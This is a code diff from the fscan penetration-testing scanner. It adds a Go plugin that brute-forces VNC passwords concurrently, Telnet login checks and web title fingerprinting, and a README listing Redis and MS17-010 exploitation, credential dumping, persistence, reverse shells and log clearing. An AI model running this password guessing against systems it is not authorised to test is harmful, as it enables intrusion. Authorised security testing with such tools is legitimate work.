return true
}
}
return false
}
// 辅助函数:检查是否无需认证
func isNoAuthRequired(line string) bool {
patterns := []string{
`^/ #.*`,
`^<[A-Za-z0-9_]+>`,
`^#`,
}
for _, pattern := range patterns {
if regexp.MustCompile(pattern).MatchString(line) {
return true
}
}
return false
}
// LogBaserOnlyPassword 处理只需密码的登录
func (c *TelnetClient) LogBaserOnlyPassword() error {
c.Clear() // 清空之前的响应
// 发送密码并等待响应
c.WriteContext(c.Password)
time.Sleep(time.Second * 2)
// 验证登录结果
responseString := c.ReadContext()
if c.isLoginFailed(responseString) {
return errors.New("login failed")
}
if c.isLoginSucceed(responseString) {
return nil
}
return errors.New("login failed")
}
// LogBaserUsernameAndPassword 处理需要用户名和密码的登录
func (c *TelnetClient) LogBaserUsernameAndPassword() error {
// 发送用户名
c.WriteContext(c.UserName)
time.Sleep(time.Second * 2)
c.Clear()
// 发送密码
c.WriteContext(c.Password)
time.Sleep(time.Second * 3)
// 验证登录结果
responseString := c.ReadContext()
if c.isLoginFailed(responseString) {
return errors.New("login failed")
}
if c.isLoginSucceed(responseString) {
return nil
}
return errors.New("login failed")
}
// Clear 清空最近一次响应
func (c *TelnetClient) Clear() {
c.LastResponse = ""
}
// 登录失败的关键词列表
var loginFailedString = []string{
"wrong",
"invalid",
"fail",
"incorrect",
"error",
}
// isLoginFailed 检查是否登录失败
func (c *TelnetClient) isLoginFailed(responseString string) bool {
responseString = strings.ToLower(responseString)
// 空响应视为失败
if responseString == "" {
return true
}
// 检查失败关键词
for _, str := range loginFailedString {
if strings.Contains(responseString, str) {
return true
}
}
// 检查是否仍在要求输入凭证
patterns := []string{
"(?is).*pass(word)?:$",
"(?is).*user(name)?:$",
"(?is).*login:$",
}
for _, pattern := range patterns {
if regexp.MustCompile(pattern).MatchString(responseString) {
return true
}
}
return false
}
// isLoginSucceed 检查是否登录成功
func (c *TelnetClient) isLoginSucceed(responseString string) bool {
// 空响应视为失败
if responseString == "" {
return false
}
// 获取最后一行响应
lines := strings.Split(responseString, "\n")
if len(lines) == 0 {
return false
}
lastLine := lines[len(lines)-1]
// 检查命令提示符
if regexp.MustCompile("^[#$>].*").MatchString(lastLine) ||
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
return true
}
// 检查last login信息
if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
return true
}
// 发送测试命令验证
c.Clear()
c.WriteContext("?")
time.Sleep(time.Second * 2)
responseString = c.ReadContext()
// 检查响应长度
if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 {
return true
}
return false
}
// Telnet协议常量定义
const (
// 写入操作后的延迟时间
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
// Telnet基础控制字符
IAC = byte(255) // 解释为命令(Interpret As Command)
DONT = byte(254) // 请求对方停止执行某选项
DO = byte(253) // 请求对方执行某选项
WONT = byte(252) // 拒绝执行某选项
WILL = byte(251) // 同意执行某选项
// 子协商相关控制字符
SB = byte(250) // 子协商开始(Subnegotiation Begin)
SE = byte(240) // 子协商结束(Subnegotiation End)
// 特殊功能字符
NULL = byte(0) // 空字符
EOF = byte(236) // 文档结束
SUSP = byte(237) // 暂停进程
ABORT = byte(238) // 停止进程
REOR = byte(239) // 记录结束
// Telnet选项代码
BINARY = byte(0) // 8位数据通道
ECHO = byte(1) // 回显
SGA = byte(3) // 禁止继续
// 服务器类型常量定义
Closed = iota // 连接关闭
UnauthorizedAccess // 无需认证
OnlyPassword // 仅需密码
UsernameAndPassword // 需要用户名和密码
)
+273
View File
@@ -0,0 +1,273 @@
package Plugins
import (
"context"
"fmt"
"sync"
"time"
"github.com/mitchellh/go-vnc"
"github.com/shadow1ng/fscan/Common"
)
// VncCredential 表示VNC凭据
type VncCredential struct {
Password string
}
// VncScanResult 表示VNC扫描结果
type VncScanResult struct {
Success bool
Error error
Credential VncCredential
}
func VncScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建密码列表
var credentials []VncCredential
for _, pass := range Common.Passwords {
credentials = append(credentials, VncCredential{Password: pass})
}
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描
result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveVncResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("VNC扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
return nil
}
}
// concurrentVncScan 并发扫描VNC服务
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *VncScanResult, 1)
workChan := make(chan VncCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryVncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("VNC并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryVncCredential 尝试单个VNC凭据
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &VncScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := VncConn(connCtx, info, credential.Password)
cancel()
if success {
return &VncScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &VncScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// VncConn 尝试建立VNC连接
func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) {
Host, Port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 使用带上下文的TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout)
if err != nil {
return false, err
}
defer conn.Close()
// 设置读写超时
if err := conn.SetDeadline(time.Now().Add(timeout)); err != nil {
return false, err
}
// 创建完成通道
doneChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中处理VNC认证
go func() {
// 配置VNC客户端
config := &vnc.ClientConfig{
Auth: []vnc.ClientAuth{
&vnc.PasswordAuth{
Password: pass,
},
},
}
// 尝试VNC认证
client, err := vnc.Client(conn, config)
if err != nil {
select {
case <-ctx.Done():
case doneChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 认证成功
defer client.Close()
select {
case <-ctx.Done():
case doneChan <- struct {
success bool
err error
}{true, nil}:
}
}()
// 等待认证结果或上下文取消
select {
case result := <-doneChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveVncResult 保存VNC扫描结果
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) {
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
Common.LogSuccess(successLog)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "vnc",
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+15
View File
@@ -0,0 +1,15 @@
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
)
// WebPoc 直接执行Web漏洞扫描
func WebPoc(info *Common.HostInfo) error {
if Common.DisablePocScan {
return nil
}
WebScan.WebScan(info)
return nil
}
+553
View File
@@ -0,0 +1,553 @@
package Plugins
import (
"compress/gzip"
"context"
"crypto/tls"
"fmt"
"io"
"net"
"net/http"
"regexp"
"strings"
"sync"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"golang.org/x/text/encoding/simplifiedchinese"
)
// 常量定义
const (
maxTitleLength = 100
defaultProtocol = "http"
httpsProtocol = "https"
httpProtocol = "http"
printerFingerPrint = "打印机"
emptyTitle = "\"\""
noTitleText = "无标题"
// HTTP相关常量
httpPort = "80"
httpsPort = "443"
contentEncoding = "Content-Encoding"
gzipEncoding = "gzip"
contentLength = "Content-Length"
)
// 错误定义
var (
ErrNoTitle = fmt.Errorf("无法获取标题")
ErrHTTPClientInit = fmt.Errorf("HTTP客户端未初始化")
ErrReadRespBody = fmt.Errorf("读取响应内容失败")
)
// 响应结果
type WebResponse struct {
Url string
StatusCode int
Title string
Length string
Headers map[string]string
RedirectUrl string
Body []byte
Error error
}
// 协议检测结果
type ProtocolResult struct {
Protocol string
Success bool
}
// WebTitle 获取Web标题和指纹信息
func WebTitle(info *Common.HostInfo) error {
if info == nil {
return fmt.Errorf("主机信息为空")
}
// 初始化Url
if err := initializeUrl(info); err != nil {
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
return err
}
// 获取网站标题信息
checkData, err := fetchWebInfo(info)
if err != nil {
// 记录错误但继续处理可能获取的数据
Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
}
// 分析指纹
if len(checkData) > 0 {
info.Infostr = WebScan.InfoCheck(info.Url, &checkData)
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == printerFingerPrint {
Common.LogBase("检测到打印机,停止扫描")
return nil
}
}
}
return err
}
// 初始化Url:根据主机和端口生成完整Url
func initializeUrl(info *Common.HostInfo) error {
if info.Url == "" {
// 根据端口推断Url
switch info.Ports {
case httpPort:
info.Url = fmt.Sprintf("%s://%s", httpProtocol, info.Host)
case httpsPort:
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol, err := detectProtocol(host, Common.Timeout)
if err != nil {
return fmt.Errorf("协议检测失败: %w", err)
}
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else if !strings.Contains(info.Url, "://") {
// 处理未指定协议的Url
host := strings.Split(info.Url, "/")[0]
protocol, err := detectProtocol(host, Common.Timeout)
if err != nil {
return fmt.Errorf("协议检测失败: %w", err)
}
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
return nil
}
// 获取Web信息:标题、指纹等
func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
var checkData []WebScan.CheckDatas
// 记录原始Url协议
originalUrl := info.Url
isHTTPS := strings.HasPrefix(info.Url, "https://")
// 第一次尝试访问Url
resp, err := fetchUrlWithRetry(info, false, &checkData)
// 处理不同的错误情况
if err != nil {
// 如果是HTTPS并失败,尝试降级到HTTP
if isHTTPS {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
// 如果HTTP也失败,恢复原始Url并返回错误
if err != nil {
info.Url = originalUrl
return checkData, err
}
} else {
return checkData, err
}
}
// 处理重定向
if resp != nil && resp.RedirectUrl != "" {
info.Url = resp.RedirectUrl
resp, err = fetchUrlWithRetry(info, true, &checkData)
// 如果重定向后失败,尝试降级协议
if err != nil && strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, true, &checkData)
}
}
// 处理需要升级到HTTPS的情况
if resp != nil && resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
// 如果HTTPS升级失败,回退到HTTP
if err != nil {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
}
// 处理升级后的重定向
if resp != nil && resp.RedirectUrl != "" {
info.Url = resp.RedirectUrl
resp, err = fetchUrlWithRetry(info, true, &checkData)
}
}
return checkData, err
}
// 尝试获取Url,支持重试
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
// 获取页面内容
resp, err := fetchUrl(info.Url, followRedirect)
if err != nil {
return nil, err
}
// 保存检查数据
if resp.Body != nil && len(resp.Body) > 0 {
headers := fmt.Sprintf("%v", resp.Headers)
*checkData = append(*checkData, WebScan.CheckDatas{resp.Body, headers})
}
// 保存扫描结果
if resp.StatusCode > 0 {
saveWebResult(info, resp)
}
return resp, nil
}
// 抓取Url内容
func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
// 创建HTTP请求
req, err := http.NewRequest("GET", targetUrl, nil)
if err != nil {
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
req.Header.Set("Connection", "close")
// 选择HTTP客户端
var client *http.Client
if followRedirect {
client = lib.Client
} else {
client = lib.ClientNoRedirect
}
if client == nil {
return nil, ErrHTTPClientInit
}
// 发送请求
resp, err := client.Do(req)
if err != nil {
// 特殊处理SSL/TLS相关错误
errMsg := strings.ToLower(err.Error())
if strings.Contains(errMsg, "tls") || strings.Contains(errMsg, "ssl") ||
strings.Contains(errMsg, "handshake") || strings.Contains(errMsg, "certificate") {
return &WebResponse{Error: err}, nil
}
return nil, err
}
defer resp.Body.Close()
// 准备响应结果
result := &WebResponse{
Url: req.URL.String(),
StatusCode: resp.StatusCode,
Headers: make(map[string]string),
}
// 提取响应头
for k, v := range resp.Header {
if len(v) > 0 {
result.Headers[k] = v[0]
}
}
// 获取内容长度
result.Length = resp.Header.Get(contentLength)
// 检查重定向
redirectUrl, err := resp.Location()
if err == nil {
result.RedirectUrl = redirectUrl.String()
}
// 读取响应内容
body, err := readResponseBody(resp)
if err != nil {
return result, fmt.Errorf("读取响应内容失败: %w", err)
}
result.Body = body
// 提取标题
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
result.Title = extractTitle(body)
if result.Length == "" {
result.Length = fmt.Sprintf("%d", len(body))
}
return result, nil
}
// 读取HTTP响应体内容
func readResponseBody(resp *http.Response) ([]byte, error) {
var body []byte
var reader io.Reader = resp.Body
// 处理gzip压缩的响应
if resp.Header.Get(contentEncoding) == gzipEncoding {
gr, err := gzip.NewReader(resp.Body)
if err != nil {
return nil, fmt.Errorf("创建gzip解压器失败: %w", err)
}
defer gr.Close()
reader = gr
}
// 读取内容
body, err := io.ReadAll(reader)
if err != nil {
return nil, fmt.Errorf("读取响应内容失败: %w", err)
}
return body, nil
}
// 提取网页标题
func extractTitle(body []byte) string {
// 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title := string(find[1])
// 清理标题内容
title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
// 截断过长的标题
if len(title) > maxTitleLength {
title = title[:maxTitleLength]
}
// 处理空标题
if title == "" {
return emptyTitle
}
return title
}
return noTitleText
}
// 保存Web扫描结果
func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
// 处理指纹信息
fingerprints := info.Infostr
if len(fingerprints) == 1 && fingerprints[0] == "" {
fingerprints = []string{}
}
// 准备服务器信息
serverInfo := make(map[string]interface{})
serverInfo["title"] = resp.Title
serverInfo["length"] = resp.Length
serverInfo["status_code"] = resp.StatusCode
// 添加响应头信息
for k, v := range resp.Headers {
serverInfo[strings.ToLower(k)] = v
}
// 添加重定向信息
if resp.RedirectUrl != "" {
serverInfo["redirect_Url"] = resp.RedirectUrl
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: map[string]interface{}{
"port": info.Ports,
"service": "http",
"title": resp.Title,
"Url": resp.Url,
"status_code": resp.StatusCode,
"length": resp.Length,
"server_info": serverInfo,
"fingerprints": fingerprints,
},
}
Common.SaveResult(result)
// 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Url, resp.StatusCode, resp.Length, resp.Title)
if resp.RedirectUrl != "" {
logMsg += fmt.Sprintf(" 重定向地址: %s", resp.RedirectUrl)
}
if len(fingerprints) > 0 {
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
}
Common.LogInfo(logMsg)
}
// 检测目标主机的协议类型(HTTP/HTTPS)
func detectProtocol(host string, timeout int64) (string, error) {
// 根据标准端口快速判断协议
if strings.HasSuffix(host, ":"+httpPort) {
return httpProtocol, nil
} else if strings.HasSuffix(host, ":"+httpsPort) {
return httpsProtocol, nil
}
timeoutDuration := time.Duration(timeout) * time.Second
ctx, cancel := context.WithTimeout(context.Background(), timeoutDuration)
defer cancel()
// 并发检测HTTP和HTTPS
resultChan := make(chan ProtocolResult, 2)
wg := sync.WaitGroup{}
wg.Add(2)
// 检测HTTPS
go func() {
defer wg.Done()
success := checkHTTPS(host, timeoutDuration/2)
select {
case resultChan <- ProtocolResult{httpsProtocol, success}:
case <-ctx.Done():
}
}()
// 检测HTTP
go func() {
defer wg.Done()
success := checkHTTP(ctx, host, timeoutDuration/2)
select {
case resultChan <- ProtocolResult{httpProtocol, success}:
case <-ctx.Done():
}
}()
// 确保所有goroutine正常退出
go func() {
wg.Wait()
close(resultChan)
}()
// 收集结果
var httpsResult, httpResult *ProtocolResult
for result := range resultChan {
if result.Protocol == httpsProtocol {
r := result
httpsResult = &r
} else if result.Protocol == httpProtocol {
r := result
httpResult = &r
}
}
// 决定使用哪种协议 - 优先使用HTTPS
if httpsResult != nil && httpsResult.Success {
return httpsProtocol, nil
} else if httpResult != nil && httpResult.Success {
return httpProtocol, nil
}
// 默认使用HTTP
return defaultProtocol, nil
}
// 检测HTTPS协议
func checkHTTPS(host string, timeout time.Duration) bool {
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS10,
}
dialer := &net.Dialer{
Timeout: timeout,
}
conn, err := tls.DialWithDialer(dialer, "tcp", host, tlsConfig)
if err == nil {
conn.Close()
return true
}
// 分析TLS错误,某些错误可能表明服务器支持TLS但有其他问题
errMsg := strings.ToLower(err.Error())
return strings.Contains(errMsg, "handshake failure") ||
strings.Contains(errMsg, "certificate") ||
strings.Contains(errMsg, "tls") ||
strings.Contains(errMsg, "x509") ||
strings.Contains(errMsg, "secure")
}
// 检测HTTP协议
func checkHTTP(ctx context.Context, host string, timeout time.Duration) bool {
req, err := http.NewRequestWithContext(ctx, "HEAD", fmt.Sprintf("http://%s", host), nil)
if err != nil {
return false
}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DialContext: (&net.Dialer{
Timeout: timeout,
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // 不跟随重定向
},
Timeout: timeout,
}
resp, err := client.Do(req)
if err == nil {
resp.Body.Close()
return true
}
// 尝试原始TCP连接和简单HTTP请求
netConn, err := net.DialTimeout("tcp", host, timeout)
if err == nil {
defer netConn.Close()
netConn.SetDeadline(time.Now().Add(timeout))
// 发送简单HTTP请求
_, err = netConn.Write([]byte("HEAD / HTTP/1.0\r\nHost: " + host + "\r\n\r\n"))
if err == nil {
// 读取响应
buf := make([]byte, 1024)
netConn.SetDeadline(time.Now().Add(timeout))
n, err := netConn.Read(buf)
if err == nil && n > 0 {
response := string(buf[:n])
return strings.Contains(response, "HTTP/")
}
}
}
return false
}
+80 -230
View File
@@ -1,292 +1,142 @@
# Fscan
# Fscan
[English][url-docen]
[English](README_EN.md)
# 0x01 简介
内网综合扫描工具,一键自动化漏扫
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描
**版本**: 2.2.0-rc
# 0x02 主要功能
## 1. 信息搜集
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
- 全面的端口扫描:系统地检测目标主机的开放端口情况
## 功能特性
## 2. 爆破功能
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
### 扫描能力
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
## 3. 系统信息与漏洞扫描
- 网络信息收集:包括NetBIOS探测和域控制器识别
- 系统信息获取:能够读取目标系统网卡配置信息
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
### 爆破能力
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
- **SSH密钥登录** - 支持私钥认证方式
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
## 4. Web应用探测
- 网站信息收集:自动获取网站标题信息
- Web指纹识别:可识别常见CMS系统与OA框架
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
### 漏洞检测
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
- **DNSLog** - 支持DNSLog外带检测
## 5. 漏洞利用模块
- Redis利用:支持写入公钥或植入计划任务
- SSH远程执行:提供SSH命令执行功能
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
### 漏洞利用
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
- **SSH命令执行** - 认证成功后自动执行命令
## 6. 辅助功能
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
### 本地模块
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
- **杀软检测** - 识别目标主机安装的安全软件
- **痕迹清理** - 日志清理工具
# 0x03 使用说明
完整功能介绍、使用说明及最新更新请访问我们的官方网站。
### 输入输出
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
- **排除规则** - 支持排除特定主机、端口
- **输出格式** - TXT/JSON/CSV多格式输出
- **静默模式** - 无Banner、无进度条、无颜色输出
## 官方网站
### 网络控制
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
- **发包控制** - 速率限制、最大发包数量控制
- **超时控制** - 端口超时、Web超时、全局超时独立配置
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
**https://fscan.club/**
### 扩展功能
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
- **Lab靶场环境** - 内置Docker靶场用于测试学习
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
- **多语言支持** - 中英文界面切换(-lang zh/en)
- **性能统计** - JSON格式性能报告(-perf)
访问官网获取:
## v2.1.0 更新日志
- 详细功能文档
- 使用教程
- 最新版本下载
- 常见问题解答
- 技术支持
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
### 架构重构
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
- **HostInfo重构** - Ports字段从string改为int,类型安全
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
- **代码审计** - 修复P0-P2级别问题,清理deadcode
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
### 性能优化
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
- **预分配容量** - 简化转换链、单次字符串替换
- **并发安全优化** - 优化锁粒度和内存分配
### 新功能
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
- **多格式POC适配** - 支持xray和afrog格式POC
- **智能扫描模式** - 布隆过滤器去重+代理优化
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
- **通用版本提取器** - 自动提取服务版本信息
- **指纹优先级排序** - 智能排序匹配结果
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
- **网卡指定功能** - 支持VPN场景(-iface参数)
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
- **端口扫描重试** - 失败自动重扫机制
- **RDP真实认证** - 集成grdp库实现系统指纹识别
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
- **默认端口扩展** - 从62个扩展到133个常用端口
- **全端口扫描支持** - 扩大端口范围限制
- **HTTP重定向控制** - 可配置的重定向次数限制
- **性能分析支持** - 添加pprof性能分析和benchmark测试
- **TCP包统计** - 服务插件支持TCP包发送统计
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
### Bug修复(120项,列出关键修复)
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
- **JSON输出格式** - 修复输出格式错误(#446)
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
- **结果实时保存** - 修复扫描结果未及时保存(#469)
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
- **MySQL连接验证** - 改用information_schema库验证
- **代理端口误判** - 修复代理模式下端口状态判断错误
- **Context超时** - 修复22处插件超时未响应问题
- **ICMP竞态条件** - 修复并发扫描竞争问题
- **IPv6地址格式** - 修复4处地址格式化问题
- **POC高并发卡死** - 修复Context未传播问题
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
- **SOCKS5全回显** - 添加代理连接验证
- **服务探测泄漏** - 修复连接未正确关闭问题
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
- **JSON指纹缺失** - 统一SERVICE结果Target格式
- **扫描耗时显示** - 修复完成耗时显示为0的问题
- **虚假漏洞记录** - 重构TXT输出系统消除误报
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
- **Windows编译警告** - 修复fscan-lite平台兼容性
- **Go 1.20兼容** - 降级依赖保持兼容性
### 测试增强(20项)
- **单元测试** - 核心模块覆盖率74-100%
- **并发安全测试** - State对象、指纹匹配引擎专项测试
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
- **CLI参数测试** - 命令行参数解析验证
